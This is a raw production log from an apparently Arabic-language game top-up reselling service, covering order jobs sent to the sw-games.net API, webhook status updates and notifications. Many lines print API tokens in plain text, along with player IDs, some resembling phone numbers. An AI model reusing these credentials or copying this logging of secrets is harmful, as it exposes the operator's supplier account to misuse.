[2026-03-24 21:36:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:36:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"processed":4,"skipped":1,"updates_prepared":4} 
[2026-03-24 21:36:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"total_items":4,"chunks":1,"chunk_size":10} 
[2026-03-24 21:36:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"count":4} 
[2026-03-24 21:36:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"count":4} 
[2026-03-24 21:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"user_id":949,"notification_type":"order_approved","reference_id":179404} 
[2026-03-24 21:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"user_id":314,"notification_type":"order_approved","reference_id":179407} 
[2026-03-24 21:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"user_id":1540,"notification_type":"order_approved","reference_id":179406} 
[2026-03-24 21:36:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"user_id":314,"notification_type":"order_approved","reference_id":179403} 
[2026-03-24 21:36:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"chunk_number":1,"processed":4,"errors":0,"total_operations":4,"total_orders":4,"total_codes":0,"total_refunds":0} 
[2026-03-24 21:36:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"total_processed":4,"total_errors":0,"chunks_processed":1} 
[2026-03-24 21:36:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"processed":4,"errors":0} 
[2026-03-24 21:36:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278,"processed":4,"errors":0} 
[2026-03-24 21:36:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"1eUpACVRIgdS4XRFtayYlWLmg92f9qY9","execution_time":"2026-03-24 21:36:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-XFGp78mJ-1774377177","operation_id":164278} 
[2026-03-24 21:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 949  
[2026-03-24 21:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 21:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1540  
[2026-03-24 21:36:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 314  
[2026-03-24 21:36:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-XFGp78mJ-1774377177","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:36:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-XFGp78mJ-1774377177","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:36:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:03] production.ERROR: Order not found or already processed. External ID: ORD-XFGp78mJ-1774377177  
[2026-03-24 21:36:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-XFGp78mJ-1774377177","status":"completed","codes_count":0} 
[2026-03-24 21:36:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Cc64p-1774377196","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:36:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-Cc64p-1774377196","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:36:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:03] production.ERROR: Order not found or already processed. External ID: ORD-Cc64p-1774377196  
[2026-03-24 21:36:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Cc64p-1774377196","status":"completed","codes_count":0} 
[2026-03-24 21:36:03] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-V4kz6-1774377229","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:36:03] production.INFO: Processed webhook data (normalized) {"id":"ORD-V4kz6-1774377229","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:36:03] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:03] production.ERROR: Order not found or already processed. External ID: ORD-V4kz6-1774377229  
[2026-03-24 21:36:03] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-V4kz6-1774377229","status":"completed","codes_count":0} 
[2026-03-24 21:36:05] production.INFO: Constructing job for order: 179411  
[2026-03-24 21:36:08] production.INFO: Handling job for order: 179411  
[2026-03-24 21:36:08] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:36:08] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:36:08] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=0cfb7285-f42d-43e7-9562-3323f573b4e7&Player_ID=51715308952  
[2026-03-24 21:36:08] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=0cfb7285-f42d-43e7-9562-3323f573b4e7&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:36:09] production.INFO: Operation sent successfully {"operation_id":164286,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-gTu4vSs-1774377369","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:36:09"}},"processed_data":{"order_number":"ORD-gTu4vSs-1774377369","amount":8.925000000000000710542735760100185871124267578125,"status":"processing","product":"600+60UC","game":"PUBG"}} 
[2026-03-24 21:36:19] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-gTu4vSs-1774377369","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:36:19] production.INFO: Processed webhook data (normalized) {"id":"ORD-gTu4vSs-1774377369","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:36:19] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:19] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179411} 
[2026-03-24 21:36:19] production.INFO: Order updated successfully. Order ID: 179411, Status: completed  
[2026-03-24 21:36:19] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-gTu4vSs-1774377369","status":"completed","codes_count":0} 
[2026-03-24 21:36:22] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:36:24] production.INFO: Constructing job for order: 179412  
[2026-03-24 21:36:25] production.INFO: Handling job for order: 179412  
[2026-03-24 21:36:25] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:36:25] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:36:25] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1ed6f22c-6bf3-499a-ae87-e304f66de410&Player_ID=51715308952  
[2026-03-24 21:36:25] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1ed6f22c-6bf3-499a-ae87-e304f66de410&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:36:25] production.INFO: Operation sent successfully {"operation_id":164287,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-wO8SjiS-1774377385","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:36:25"}},"processed_data":{"order_number":"ORD-wO8SjiS-1774377385","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:36:37] production.INFO: Constructing job for order: 179413  
[2026-03-24 21:36:37] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-wO8SjiS-1774377385","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:36:37] production.INFO: Processed webhook data (normalized) {"id":"ORD-wO8SjiS-1774377385","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:36:37] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:37] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179412} 
[2026-03-24 21:36:37] production.INFO: Order updated successfully. Order ID: 179412, Status: completed  
[2026-03-24 21:36:37] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-wO8SjiS-1774377385","status":"completed","codes_count":0} 
[2026-03-24 21:36:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:36:40] production.INFO: Handling job for order: 179413  
[2026-03-24 21:36:40] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:36:40] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:36:40] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d250cef7-9fe1-463e-8d69-ee8b0569c821&Player_ID=51715308952  
[2026-03-24 21:36:40] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=d250cef7-9fe1-463e-8d69-ee8b0569c821&Player_ID=51715308952","has_body":false} 
[2026-03-24 21:36:41] production.INFO: Operation sent successfully {"operation_id":164288,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TZzCXsAP-1774377401","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:36:41"}},"processed_data":{"order_number":"ORD-TZzCXsAP-1774377401","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:36:52] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TZzCXsAP-1774377401","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:36:52] production.INFO: Processed webhook data (normalized) {"id":"ORD-TZzCXsAP-1774377401","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:36:52] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:36:52] production.INFO: SendAcceptReject: Notification queued {"user_id":861,"notification_type":"order_approved","reference_id":179413} 
[2026-03-24 21:36:52] production.INFO: Order updated successfully. Order ID: 179413, Status: completed  
[2026-03-24 21:36:52] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TZzCXsAP-1774377401","status":"completed","codes_count":0} 
[2026-03-24 21:36:53] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 861  
[2026-03-24 21:38:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02"} 
[2026-03-24 21:38:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","total_operations":1,"sites_count":1} 
[2026-03-24 21:38:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 21:38:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:38:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:38:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:38:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:38:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:38:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dr7gAyzimJI1YltjZfxrUqU8loe1nKvp","execution_time":"2026-03-24 21:38:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:38:19] production.INFO: SendAcceptReject: Notification queued {"user_id":1054,"notification_type":"request_rejected","reference_id":18542} 
[2026-03-24 21:38:21] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1054  
[2026-03-24 21:39:41] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Ruo-1774375001","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 21:39:41] production.INFO: Processed webhook data (normalized) {"id":"ORD-Ruo-1774375001","status":"completed","codes":[],"notes":[]} 
[2026-03-24 21:39:41] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:39:41] production.INFO: SendAcceptReject: Notification queued {"user_id":24,"notification_type":"order_approved","reference_id":179358} 
[2026-03-24 21:39:41] production.INFO: Order updated successfully. Order ID: 179358, Status: completed  
[2026-03-24 21:39:41] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Ruo-1774375001","status":"completed","codes_count":0} 
[2026-03-24 21:39:42] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 24  
[2026-03-24 21:40:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"6034nzA6sVedmqgVeikQq2HiFWgXCfQ6","execution_time":"2026-03-24 21:40:03"} 
[2026-03-24 21:40:03] production.INFO: No pending operations found. {"job":"Quryjob","job_id":"6034nzA6sVedmqgVeikQq2HiFWgXCfQ6","execution_time":"2026-03-24 21:40:03"} 
[2026-03-24 21:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:40:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:40:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:40:05] production.INFO: async() رجع: true  
[2026-03-24 21:40:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:40:06] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:40:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:40:07] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:40:40] production.INFO: Constructing job for order: 179414  
[2026-03-24 21:40:43] production.INFO: Constructing job for order: 179415  
[2026-03-24 21:40:43] production.INFO: Handling job for order: 179414  
[2026-03-24 21:40:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:40:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:40:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=3722f0d5-6ea9-4a1e-9a17-e4b1931c23cc&Player_ID=13331  
[2026-03-24 21:40:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/604/params?qty=38000&uuid=3722f0d5-6ea9-4a1e-9a17-e4b1931c23cc&Player_ID=13331","has_body":false} 
[2026-03-24 21:40:44] production.INFO: Operation sent successfully {"operation_id":164289,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-KJN-1774377643","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco","notes":[],"created_at":"2026-03-24 21:40:44"}},"processed_data":{"order_number":"ORD-KJN-1774377643","amount":3.72678919999999980205984684289433062076568603515625,"status":"processing","product":"Cocco Amount","game":"Cocco"}} 
[2026-03-24 21:40:44] production.INFO: Handling job for order: 179415  
[2026-03-24 21:40:44] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:40:44] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:40:44] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=0a0a35ac-bc57-4fa0-9aa1-5fa5fba39121&Player_ID=52105385701  
[2026-03-24 21:40:44] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=0a0a35ac-bc57-4fa0-9aa1-5fa5fba39121&Player_ID=52105385701","has_body":false} 
[2026-03-24 21:40:45] production.INFO: Operation sent successfully {"operation_id":164290,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cRfbXnsw-1774377644","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:40:44"}},"processed_data":{"order_number":"ORD-cRfbXnsw-1774377644","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:40:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-KJN-1774377643","status":"completed","notes":["جميع العمليات اكتملت بنجاح","-"],"codes":[]}} 
[2026-03-24 21:40:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-KJN-1774377643","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح","-"]} 
[2026-03-24 21:40:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:40:53] production.INFO: SendAcceptReject: Notification queued {"user_id":1689,"notification_type":"order_approved","reference_id":179414} 
[2026-03-24 21:40:53] production.INFO: Order updated successfully. Order ID: 179414, Status: completed  
[2026-03-24 21:40:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-KJN-1774377643","status":"completed","codes_count":0} 
[2026-03-24 21:40:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1689  
[2026-03-24 21:40:54] production.INFO: Constructing job for order: 179416  
[2026-03-24 21:40:56] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-cRfbXnsw-1774377644","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:40:56] production.INFO: Processed webhook data (normalized) {"id":"ORD-cRfbXnsw-1774377644","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:40:56] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:40:56] production.INFO: SendAcceptReject: Notification queued {"user_id":366,"notification_type":"order_approved","reference_id":179415} 
[2026-03-24 21:40:56] production.INFO: Order updated successfully. Order ID: 179415, Status: completed  
[2026-03-24 21:40:56] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-cRfbXnsw-1774377644","status":"completed","codes_count":0} 
[2026-03-24 21:40:57] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 366  
[2026-03-24 21:40:57] production.INFO: Handling job for order: 179416  
[2026-03-24 21:40:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:40:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:40:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1e23dc3b-2f2a-4535-a3b4-d048d7268d5f&Player_ID=51786938139  
[2026-03-24 21:40:57] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/54/params?qty=1&uuid=1e23dc3b-2f2a-4535-a3b4-d048d7268d5f&Player_ID=51786938139","has_body":false} 
[2026-03-24 21:40:57] production.INFO: Operation sent successfully {"operation_id":164291,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-LJyw2K-1774377657","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:40:57"}},"processed_data":{"order_number":"ORD-LJyw2K-1774377657","amount":4.4625000000000003552713678800500929355621337890625,"status":"processing","product":"300+25UC","game":"PUBG"}} 
[2026-03-24 21:41:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-LJyw2K-1774377657","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:41:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-LJyw2K-1774377657","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:41:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:41:17] production.INFO: SendAcceptReject: Notification queued {"user_id":600,"notification_type":"order_approved","reference_id":179416} 
[2026-03-24 21:41:17] production.INFO: Order updated successfully. Order ID: 179416, Status: completed  
[2026-03-24 21:41:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-LJyw2K-1774377657","status":"completed","codes_count":0} 
[2026-03-24 21:41:18] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 600  
[2026-03-24 21:41:23] production.INFO: Constructing job for order: 179417  
[2026-03-24 21:41:24] production.INFO: Handling job for order: 179417  
[2026-03-24 21:41:24] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:41:24] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:41:24] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=15000&uuid=223d3c4e-82b1-4c3e-8551-00b0ce596e69&Player_ID=98738246  
[2026-03-24 21:41:24] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=15000&uuid=223d3c4e-82b1-4c3e-8551-00b0ce596e69&Player_ID=98738246","has_body":false} 
[2026-03-24 21:41:25] production.INFO: Operation sent successfully {"operation_id":164292,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-cKNQ7-1774377685","amount":3.59524050000000006122036211309023201465606689453125,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 21:41:25"}},"processed_data":{"order_number":"ORD-cKNQ7-1774377685","amount":3.59524050000000006122036211309023201465606689453125,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 21:41:36] production.INFO: Constructing job for order: 179418  
[2026-03-24 21:41:37] production.INFO: Handling job for order: 179418  
[2026-03-24 21:41:37] production.INFO: 219 {"apiToken":"8jz3jp0yds45726kahf2pll8an"} 
[2026-03-24 21:41:37] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:41:37] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=a76cd861-ff69-4c7f-a285-ed9095a86fef&Player_ID=0937505380  
[2026-03-24 21:41:37] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/32/params?qty=1&uuid=a76cd861-ff69-4c7f-a285-ed9095a86fef&Player_ID=0937505380","has_body":false} 
[2026-03-24 21:41:38] production.INFO: Operation sent successfully {"operation_id":164293,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-34RHF80-1774377698","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS","notes":[],"created_at":"2026-03-24 21:41:38"}},"processed_data":{"order_number":"ORD-34RHF80-1774377698","amount":24.359329999999999927240423858165740966796875,"status":"processing","product":"23.08 Units SYR","game":"SYRIATEL UNITS"}} 
[2026-03-24 21:41:39] production.INFO: Constructing job for order: 179419  
[2026-03-24 21:41:41] production.INFO: Handling job for order: 179419  
[2026-03-24 21:41:41] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:41:41] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:41:41] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/571/params?qty=15000&uuid=3f3a64da-1ef0-4ae2-851a-7ddb2c68efaa&Player_ID=74609294  
[2026-03-24 21:41:41] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/571/params?qty=15000&uuid=3f3a64da-1ef0-4ae2-851a-7ddb2c68efaa&Player_ID=74609294","has_body":false} 
[2026-03-24 21:41:42] production.INFO: Constructing job for order: 179420  
[2026-03-24 21:41:42] production.INFO: Operation sent successfully {"operation_id":164294,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DDQyro6z-1774377702","amount":3.59524050000000006122036211309023201465606689453125,"status":"processing","product":"Mango Amount","game":"Mango","notes":[],"created_at":"2026-03-24 21:41:42"}},"processed_data":{"order_number":"ORD-DDQyro6z-1774377702","amount":3.59524050000000006122036211309023201465606689453125,"status":"processing","product":"Mango Amount","game":"Mango"}} 
[2026-03-24 21:41:45] production.INFO: Handling job for order: 179420  
